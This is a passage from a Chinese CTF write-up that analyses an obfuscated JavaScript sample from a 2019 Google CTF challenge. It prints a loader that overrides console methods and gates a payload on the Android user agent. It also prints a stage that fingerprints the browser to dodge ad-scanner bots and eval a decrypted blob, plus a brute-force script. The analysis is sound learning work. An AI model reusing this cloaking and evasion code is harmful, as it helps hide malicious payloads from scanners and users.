function_">b</span>(<span class="string">&#x27;0xc&#x27;</span>, <span class="string">&#x27;%RuL&#x27;</span>)][<span class="title function_">b</span>(<span class="string">&#x27;0xd&#x27;</span>, <span class="string">&#x27;e9PJ&#x27;</span>)] = m;</span><br><span class="line">        n[<span class="title function_">b</span>(<span class="string">&#x27;0xe&#x27;</span>, <span class="string">&#x27;(fcQ&#x27;</span>)][<span class="string">&#x27;debug&#x27;</span>] = m;</span><br><span class="line">        n[<span class="string">&#x27;console&#x27;</span>][<span class="title function_">b</span>(<span class="string">&#x27;0xf&#x27;</span>, <span class="string">&#x27;xBPx&#x27;</span>)] = m;</span><br><span class="line">        n[<span class="title function_">b</span>(<span class="string">&#x27;0x10&#x27;</span>, <span class="string">&#x27;yDXL&#x27;</span>)][<span class="title function_">b</span>(<span class="string">&#x27;0x11&#x27;</span>, <span class="string">&#x27;IDtv&#x27;</span>)] = m;</span><br><span class="line">        n[<span class="title function_">b</span>(<span class="string">&#x27;0x12&#x27;</span>, <span class="string">&#x27;oBBn&#x27;</span>)][<span class="title function_">b</span>(<span class="string">&#x27;0x13&#x27;</span>, <span class="string">&#x27;^aQK&#x27;</span>)] = m;</span><br><span class="line">        n[<span class="title function_">b</span>(<span class="string">&#x27;0x14&#x27;</span>, <span class="string">&#x27;F#*Z&#x27;</span>)][<span class="title function_">b</span>(<span class="string">&#x27;0x15&#x27;</span>, <span class="string">&#x27;vH0t&#x27;</span>)] = m;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="title function_">l</span>();</span><br><span class="line"><span class="keyword">var</span> s = <span class="title function_">b</span>(<span class="string">&#x27;0x16&#x27;</span>, <span class="string">&#x27;%RuL&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> t = <span class="variable language_">document</span>[<span class="title function_">b</span>(<span class="string">&#x27;0x17&#x27;</span>, <span class="string">&#x27;jAUm&#x27;</span>)](<span class="title function_">b</span>(<span class="string">&#x27;0x18&#x27;</span>, <span class="string">&#x27;3hyK&#x27;</span>));</span><br><span class="line">t[<span class="title function_">b</span>(<span class="string">&#x27;0x19&#x27;</span>, <span class="string">&#x27;F#*Z&#x27;</span>)] = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">var</span> u = steg[<span class="title function_">b</span>(<span class="string">&#x27;0x1a&#x27;</span>, <span class="string">&#x27;OfTH&#x27;</span>)](t);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (v) &#123;&#125;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title class_">Number</span>(<span class="regexp">/\x61\x6e\x64\x72\x6f\x69\x64/i</span>[<span class="title function_">b</span>(<span class="string">&#x27;0x1b&#x27;</span>, <span class="string">&#x27;JQ&amp;l&#x27;</span>)](navigator[<span class="title function_">b</span>(<span class="string">&#x27;0x1c&#x27;</span>, <span class="string">&#x27;IfD@&#x27;</span>)]))) &#123;</span><br><span class="line">        s[s][s](u)();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">;</span><br></pre></td></tr></table></figure><p>大致分析逻辑后发现，函数<code>b</code>被反复的调用，并且动态调试后会发现，这个函数会对一些加密的内容进行解密，于是动态跟踪程序，在如下的位置下断点:<br><img src="/2019/07/29/GoogleCTF-2019/wp01.png" alt=""><br>可以发现，这个地方解开了一段加载js的代码。然后在如下的位置:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="title class_">Number</span>(<span class="regexp">/\x61\x6e\x64\x72\x6f\x69\x64/i</span>[<span class="title function_">b</span>(<span class="string">&#x27;0x1b&#x27;</span>, <span class="string">&#x27;JQ&amp;l&#x27;</span>)](navigator[<span class="title function_">b</span>(<span class="string">&#x27;0x1c&#x27;</span>, <span class="string">&#x27;IfD@&#x27;</span>)]))) &#123;</span><br><span class="line">    s[s][s](u)();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对加载的逻辑进行了判断。这个地方利用了js的各种特性，编码的部分扔到<code>console</code>里面可以得到如下结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#x27;/\x61\x6e\x64\x72\x6f\x69\x64/i&#x27;</span><br><span class="line">&quot;/android/i&quot;</span><br></pre></td></tr></table></figure><p>直译过来就是</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="title class_">Number</span>(<span class="regexp">/android/i</span>[<span class="string">&quot;test&quot;</span>](navigator[<span class="string">&quot;userAgent&quot;</span>])))</span><br></pre></td></tr></table></figure><p>正则后面跟着<code>[&quot;test&quot;]</code>，就是利用js的特性，其实本质上是调用了<code>/android/i.test</code>的正则匹配。这里的意思相当于说：读出当前浏览器的<code>userAgent</code>，并且检测其中是否包含<code>Android</code>字样。为了解决这个问题，可以利用Chrome的<code>Toggle Device Bar</code>模拟切换浏览设备，如下:<br><img src="/2019/07/29/GoogleCTF-2019/wp02.png" alt=""><br>这样就会进入第二个js文件</p><h3 id="stage2">Stage2</h3><p>第二个js文件的内容如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> T = &#123;&#125;;</span><br><span class="line">T.<span class="property">e0</span> = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> c, d, e;</span><br><span class="line">    <span class="keyword">return</span> a = <span class="title class_">String</span>(a),</span><br><span class="line">    b = <span class="title class_">String</span>(b),</span><br><span class="line">    <span class="number">0</span> == a.<span class="property">length</span> ? <span class="string">&#x27;&#x27;</span> : (c = T.<span class="title function_">f0</span>(a.<span class="title function_">u0</span>()),</span><br><span class="line">    d = T.<span class="title function_">f0</span>(b.<span class="title function_">u0</span>().<span class="title function_">slice</span>(<span class="number">0</span>, <span class="number">16</span>)),</span><br><span class="line">    c.<span class="property">length</span>,</span><br><span class="line">    c = T.<span class="title function_">e1</span>(c, d),</span><br><span class="line">    e = T.<span class="title function_">longsToStr</span>(c),</span><br><span class="line">    e.<span class="title function_">b0</span>())</span><br><span class="line">&#125;</span><br><span class="line">,</span><br><span class="line">T.<span class="property">d0</span> = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> c, d;</span><br><span class="line">    <span class="keyword">return</span> a = <span class="title class_">String</span>(a),</span><br><span class="line">    b = <span class="title class_">String</span>(b),</span><br><span class="line">    <span class="number">0</span> == a.<span class="property">length</span> ? <span class="string">&#x27;&#x27;</span> : (c = T.<span class="title function_">f0</span>(a.<span class="title function_">b1</span>()),</span><br><span class="line">    d = T.<span class="title function_">f0</span>(b.<span class="title function_">u0</span>().<span class="title function_">slice</span>(<span class="number">0</span>, <span class="number">16</span>)),</span><br><span class="line">    c.<span class="property">length</span>,</span><br><span class="line">    c = T.<span class="title function_">d1</span>(c, d),</span><br><span class="line">    a = T.<span class="title function_">longsToStr</span>(c),</span><br><span class="line">    a = a.<span class="title function_">replace</span>(<span class="regexp">/\0+$/</span>, <span class="string">&#x27;&#x27;</span>),</span><br><span class="line">    a.<span class="title function_">u1</span>())</span><br><span class="line">&#125;</span><br><span class="line">,</span><br><span class="line">T.<span class="property">e1</span> = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> c, d, e, f, g, h, i, j, k;</span><br><span class="line">    <span class="keyword">for</span> (a.<span class="property">length</span> &lt; <span class="number">2</span> &amp;&amp; (a[<span class="number">1</span>] = <span class="number">0</span>),</span><br><span class="line">    c = a.<span class="property">length</span>,</span><br><span class="line">    d = a[c - <span class="number">1</span>],</span><br><span class="line">    e = a[<span class="number">0</span>],</span><br><span class="line">    f = <span class="number">2654435769</span>,</span><br><span class="line">    i = <span class="title class_">Math</span>.<span class="title function_">floor</span>(<span class="number">6</span> + <span class="number">52</span> / c),</span><br><span class="line">    j = <span class="number">0</span>; i-- &gt; <span class="number">0</span>; )</span><br><span class="line">        <span class="keyword">for</span> (j += f,</span><br><span class="line">        h = <span class="number">3</span> &amp; j &gt;&gt;&gt; <span class="number">2</span>,</span><br><span class="line">        k = <span class="number">0</span>; c &gt; k; k++)</span><br><span class="line">            e = a[(k + <span class="number">1</span>) % c],</span><br><span class="line">            g = (d &gt;&gt;&gt; <span class="number">5</span> ^ e &lt;&lt; <span class="number">2</span>) + (e &gt;&gt;&gt; <span class="number">3</span> ^ d &lt;&lt; <span class="number">4</span>) ^ (j ^ e) + (b[<span class="number">3</span> &amp; k ^ h] ^ d),</span><br><span class="line">            d = a[k] += g;</span><br><span class="line">    <span class="keyword">return</span> a</span><br><span class="line">&#125;</span><br><span class="line">,</span><br><span class="line">T.<span class="property">d1</span> = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> c, d, e, f = a.<span class="property">length</span>, g = a[f - <span class="number">1</span>], h = a[<span class="number">0</span>], i = <span class="number">2654435769</span>, j = <span class="title class_">Math</span>.<span class="title function_">floor</span>(<span class="number">6</span> + <span class="number">52</span> / f), k = j * i; <span class="number">0</span> != k; ) &#123;</span><br><span class="line">        <span class="keyword">for</span> (d = <span class="number">3</span> &amp; k &gt;&gt;&gt; <span class="number">2</span>,</span><br><span class="line">        e = f - <span class="number">1</span>; e &gt;= <span class="number">0</span>; e--)</span><br><span class="line">            g = a[e &gt; <span class="number">0</span> ? e - <span class="number">1</span> : f - <span class="number">1</span>],</span><br><span class="line">            c = (g &gt;&gt;&gt; <span class="number">5</span> ^ h &lt;&lt; <span class="number">2</span>) + (h &gt;&gt;&gt; <span class="number">3</span> ^ g &lt;&lt; <span class="number">4</span>) ^ (k ^ h) + (b[<span class="number">3</span> &amp; e ^ d] ^ g),</span><br><span class="line">            h = a[e] -= c;</span><br><span class="line">        k -= i</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> a</span><br><span class="line">&#125;</span><br><span class="line">,</span><br><span class="line">T.<span class="property">f0</span> = <span class="keyword">function</span>(<span class="params">a</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> b, c = <span class="keyword">new</span> <span class="title class_">Array</span>(<span class="title class_">Math</span>.<span class="title function_">ceil</span>(a.<span class="property">length</span> / <span class="number">4</span>));</span><br><span class="line">    <span class="keyword">for</span> (b = <span class="number">0</span>; b &lt; c.<span class="property">length</span>; b++)</span><br><span class="line">        c[b] = a.<span class="title function_">charCodeAt</span>(<span class="number">4</span> * b) + (a.<span class="title function_">charCodeAt</span>(<span class="number">4</span> * b + <span class="number">1</span>) &lt;&lt; <span class="number">8</span>) + (a.<span class="title function_">charCodeAt</span>(<span class="number">4</span> * b + <span class="number">2</span>) &lt;&lt; <span class="number">16</span>) + (a.<span class="title function_">charCodeAt</span>(<span class="number">4</span> * b + <span class="number">3</span>) &lt;&lt; <span class="number">24</span>);</span><br><span class="line">    <span class="keyword">return</span> c</span><br><span class="line">&#125;</span><br><span class="line">,</span><br><span class="line">T.<span class="property">longsToStr</span> = <span class="keyword">function</span>(<span class="params">a</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> b, c = <span class="keyword">new</span> <span class="title class_">Array</span>(a.<span class="property">length</span>);</span><br><span class="line">    <span class="keyword">for</span> (b = <span class="number">0</span>; b &lt; a.<span class="property">length</span>; b++)</span><br><span class="line">        c[b] = <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">255</span> &amp; a[b], <span class="number">255</span> &amp; a[b] &gt;&gt;&gt; <span class="number">8</span>, <span class="number">255</span> &amp; a[b] &gt;&gt;&gt; <span class="number">16</span>, <span class="number">255</span> &amp; a[b] &gt;&gt;&gt; <span class="number">24</span>);</span><br><span class="line">    <span class="keyword">return</span> c.<span class="title function_">join</span>(<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line">,</span><br><span class="line"><span class="string">&#x27;undefined&#x27;</span> == <span class="keyword">typeof</span> <span class="title class_">String</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">u0</span> &amp;&amp; (<span class="title class_">String</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">u0</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">unescape</span>(<span class="built_in">encodeURIComponent</span>(<span class="variable language_">this</span>))</span><br><span class="line">&#125;</span><br><span class="line">),</span><br><span class="line"><span class="string">&#x27;undefined&#x27;</span> == <span class="keyword">typeof</span> <span class="title class_">String</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">u1</span> &amp;&amp; (<span class="title class_">String</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">u1</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">decodeURIComponent</span>(<span class="built_in">escape</span>(<span class="variable language_">this</span>))</span><br><span class="line">    &#125; <span class="keyword">catch</span> (a) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">),</span><br><span class="line"><span class="string">&#x27;undefined&#x27;</span> == <span class="keyword">typeof</span> <span class="title class_">String</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">b0</span> &amp;&amp; (<span class="title class_">String</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">b0</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="string">&#x27;undefined&#x27;</span> != <span class="keyword">typeof</span> btoa)</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">btoa</span>(<span class="variable language_">this</span>);</span><br><span class="line">    <span class="keyword">if</span> (<span class="string">&#x27;undefined&#x27;</span> != <span class="keyword">typeof</span> <span class="title class_">Buffer</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Buffer</span>(<span class="variable language_">this</span>,<span class="string">&#x27;utf8&#x27;</span>).<span class="title function_">toString</span>(<span class="string">&#x27;base64&#x27;</span>);</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;err&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line">),</span><br><span class="line"><span class="string">&#x27;undefined&#x27;</span> == <span class="keyword">typeof</span> <span class="title class_">String</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">b1</span> &amp;&amp; (<span class="title class_">String</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">b1</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="string">&#x27;undefined&#x27;</span> != <span class="keyword">typeof</span> atob)</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">atob</span>(<span class="variable language_">this</span>);</span><br><span class="line">    <span class="keyword">if</span> (<span class="string">&#x27;undefined&#x27;</span> != <span class="keyword">typeof</span> <span class="title class_">Buffer</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Buffer</span>(<span class="variable language_">this</span>,<span class="string">&#x27;base64&#x27;</span>).<span class="title function_">toString</span>(<span class="string">&#x27;utf8&#x27;</span>);</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;err&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line">),</span><br><span class="line"><span class="string">&#x27;undefined&#x27;</span> != <span class="keyword">typeof</span> <span class="variable language_">module</span> &amp;&amp; <span class="variable language_">module</span>.<span class="property">exports</span> &amp;&amp; (<span class="variable language_">module</span>.<span class="property">exports</span> = T),</span><br><span class="line"><span class="string">&#x27;function&#x27;</span> == <span class="keyword">typeof</span> define &amp;&amp; define.<span class="property">amd</span> &amp;&amp; <span class="title function_">define</span>([<span class="string">&#x27;&#x27;</span>], <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> T</span><br><span class="line">&#125;);</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">dJw</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> navigator.<span class="property">platform</span>.<span class="title function_">toUpperCase</span>().<span class="title function_">substr</span>(<span class="number">0</span>, <span class="number">5</span>) +  <span class="comment">//WIN32</span></span><br><span class="line">        <span class="title class_">Number</span>(<span class="regexp">/android/i</span>.<span class="title function_">test</span>(navigator.<span class="property">userAgent</span>)) +          <span class="comment">//1(sure, because we use this enter)</span></span><br><span class="line">        <span class="title class_">Number</span>(<span class="regexp">/AdsBot/i</span>.<span class="title function_">test</span>(navigator.<span class="property">userAgent</span>)) +           <span class="comment">//0,1</span></span><br><span class="line">        <span class="title class_">Number</span>(<span class="regexp">/Google/i</span>.<span class="title function_">test</span>(navigator.<span class="property">userAgent</span>)) +           <span class="comment">//0,1</span></span><br><span class="line">        <span class="title class_">Number</span>(<span class="regexp">/geoedge/i</span>.<span class="title function_">test</span>(navigator.<span class="property">userAgent</span>)) +          <span class="comment">//0,1</span></span><br><span class="line">        <span class="title class_">Number</span>(<span class="regexp">/tmt/i</span>.<span class="title function_">test</span>(navigator.<span class="property">userAgent</span>)) +              <span class="comment">//0,1 </span></span><br><span class="line">        navigator.<span class="property">language</span>.<span class="title function_">toUpperCase</span>().<span class="title function_">substr</span>(<span class="number">0</span>, <span class="number">2</span>) +         <span class="comment">//many....(ZH,EN,FR,EN,DE,JP)</span></span><br><span class="line">        <span class="title class_">Number</span>(<span class="regexp">/tpc.googlesyndication.com/i</span>.<span class="title function_">test</span>(<span class="variable language_">document</span>.<span class="property">referrer</span>) || <span class="regexp">/doubleclick.net/i</span>.<span class="title function_">test</span>(<span class="variable language_">document</span>.<span class="property">referrer</span>)) + <span class="comment">//0,1</span></span><br><span class="line">        <span class="title class_">Number</span>(<span class="regexp">/geoedge/i</span>.<span class="title function_">test</span>(<span class="variable language_">document</span>.<span class="property">referrer</span>)) +            <span class="comment">//0,1</span></span><br><span class="line">        <span class="title class_">Number</span>(<span class="regexp">/tmt/i</span>.<span class="title function_">test</span>(<span class="variable language_">document</span>.<span class="property">referrer</span>)) +                <span class="comment">//0,1(以上三者互斥)</span></span><br><span class="line">        performance.<span class="property">navigation</span>.<span class="property">type</span> +                           <span class="comment">// (0,1,2,255)</span></span><br><span class="line">        performance.<span class="property">navigation</span>.<span class="property">redirectCount</span> +                  <span class="comment">// 0,1</span></span><br><span class="line">        <span class="title class_">Number</span>(navigator.<span class="property">cookieEnabled</span>) +                       <span class="comment">// true</span></span><br><span class="line">        <span class="title class_">Number</span>(navigator.<span class="property">onLine</span>) +                              <span class="comment">// true</span></span><br><span class="line">        navigator.<span class="property">appCodeName</span>.<span class="title function_">toUpperCase</span>().<span class="title function_">substr</span>(<span class="number">0</span>, <span class="number">7</span>) +      <span class="comment">// MOZILLA</span></span><br><span class="line">        <span class="title class_">Number</span>(navigator.<span class="property">maxTouchPoints</span> &gt; <span class="number">0</span>) +                  <span class="comment">// 0,1</span></span><br><span class="line">        <span class="title class_">Number</span>((<span class="literal">undefined</span> == <span class="variable language_">window</span>.<span class="property">chrome</span>) ? <span class="literal">true</span> : (<span class="literal">undefined</span> == <span class="variable language_">window</span>.<span class="property">chrome</span>.<span class="property">app</span>)) + <span class="comment">//0,1</span></span><br><span class="line">        navigator.<span class="property">plugins</span>.<span class="property">length</span>                                <span class="comment">//0,1,2,3</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;err&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">;a = <span class="string">&quot;A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng==&quot;</span></span><br><span class="line"><span class="comment">// &quot;WIN3210000ZH0000011MOZILLA100&quot;</span></span><br><span class="line"><span class="built_in">eval</span>(T.<span class="title function_">d0</span>(a, <span class="title function_">dJw</span>()));</span><br></pre></td></tr></table></figure><p>这个地方会检测一大堆的属性，并且检测我们当前的浏览器是否符合这些属性，然后用这个属性组合的密钥对一段密文进行解密。这个地方比较头疼，需要一个爆破逻辑。。。不过有几个地方可以限制一下爆破的范围:</p><ul><li>前文我们是通过修改成<code>Android</code>的操作系统，那么这个时候<code>platform</code>就是<code>Linux</code></li><li>测试发现，有几位数是不生效的</li></ul><p>然而因为编码问题，以为是上述思维有错，最后写了一个完全爆破脚本。。。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">main_func</span>(<span class="params"></span>)&#123;</span><br><span class="line">    s15 = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span>(i = <span class="number">0</span>;i &lt;<span class="number">3</span>; i ++)&#123;</span><br><span class="line">        <span class="keyword">var</span> platform = [<span class="string">&quot;ANDRO&quot;</span>, <span class="string">&#x27;LINUX&#x27;</span>,<span class="string">&#x27;WIN32&#x27;</span>]</span><br><span class="line">        s1 = platform[i]</span><br><span class="line">        <span class="keyword">for</span>(j = <span class="number">1</span>; j &lt; <span class="number">2</span>; j++)&#123;<span class="comment">//Number(/android/i.test(navigator.userAgent))</span></span><br><span class="line">            s2 = s1 + j</span><br><span class="line">            <span class="keyword">for</span>(k=<span class="number">0</span>; k &lt; <span class="number">2</span>; k++)&#123;<span class="comment">//Number(/AdsBot/i.test(navigator.userAgent))</span></span><br><span class="line">                s3 = s2 + k</span><br><span class="line">                <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;Now s15 is &quot;</span> + s15)</span><br><span class="line">                <span class="keyword">for</span>(l = <span class="number">0</span>; l &lt; <span class="number">2</span>; l++)&#123;<span class="comment">//Number(/Google/i.test(navigator.userAgent))</span></span><br><span class="line">                    s4 = s3 + l;</span><br><span class="line">                    <span class="keyword">for</span>(m = <span class="number">0</span>; m &lt; <span class="number">2</span>; m++)&#123;<span class="comment">//Number(/geoedge/i.test(navigator.userAgent))</span></span><br><span class="line">                        s5 = s4 + m</span><br><span class="line">                        <span class="keyword">for</span>(n = <span class="number">0</span>; n &lt; <span class="number">2</span>; n++)&#123;<span class="comment">//Number(/tmt/i.test(navigator.userAgent))</span></span><br><span class="line">                            s6 = s5 + n</span><br><span class="line">                            <span class="keyword">for</span>(o = <span class="number">0</span>; o &lt; <span class="number">6</span>; o++)&#123;<span class="comment">//navigator.language.toUpperCase().substr(0, 2)</span></span><br><span class="line">                                <span class="keyword">var</span> lan = [<span class="string">&quot;ZH&quot;</span>,<span class="string">&quot;EN&quot;</span>,<span class="string">&quot;FR&quot;</span>,<span class="string">&quot;EN&quot;</span>,<span class="string">&quot;DE&quot;</span>,<span class="string">&quot;JP&quot;</span>]</span><br><span class="line">                                s7 = s6 + lan[o]</span><br><span class="line">                                <span class="keyword">for</span>(p = <span class="number">0</span>; p &lt; <span class="number">2</span>; p++)&#123;<span class="comment">//Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer))</span></span><br><span class="line">                                    s8 = s7 + p</span><br><span class="line">                                    <span class="keyword">for</span>(q = <span class="number">0</span>; q &lt; <span class="number">2</span>; q++)&#123;<span class="comment">//Number(/geoedge/i.test(document.referrer))&#123;</span></span><br><span class="line">                                        s9 = s8 +q</span><br><span class="line">                                        <span class="keyword">for</span>(r = <span class="number">0</span>; r &lt; <span class="number">2</span>; r++)&#123;<span class="comment">//Number(/tmt/i.test(document.referrer))</span></span><br><span class="line">                                            s10 = s9 + r</span><br><span class="line">                                            <span class="keyword">for</span>(s = <span class="number">0</span>; s &lt; <span class="number">4</span>; s++)&#123;<span class="comment">//performance.navigation.type</span></span><br><span class="line">                                                <span class="keyword">var</span> types=[<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">255</span>]</span><br><span class="line">                                                s11 = s10 + types[s]</span><br><span class="line">                                                <span class="keyword">for</span>(t = <span class="number">0</span>; t &lt; <span class="number">2</span>; t++)&#123;<span class="comment">//performance.navigation.redirectCount</span></span><br><span class="line">                                                    s12 = s11 + t</span><br><span class="line">                                                    s12 = s12 + <span class="number">0</span> + <span class="number">0</span> + <span class="string">&quot;MOZILLA&quot;</span></span><br><span class="line">                                                    <span class="keyword">for</span>(u = <span class="number">0</span>; u &lt; <span class="number">2</span>; u++)&#123;<span class="comment">//Number(navigator.maxTouchPoints &gt; 0)</span></span><br><span class="line">                                                        s13 = s12 +u</span><br><span class="line">                                                        <span class="keyword">for</span>(v = <span class="number">0</span>; v &lt; <span class="number">2</span>; v++)&#123;<span class="comment">//Number((undefined == window.chrome) ? true : (undefined == window.chrome.app))</span></span><br><span class="line">                                                            s14 = s13 + v</span><br><span class="line">                                                     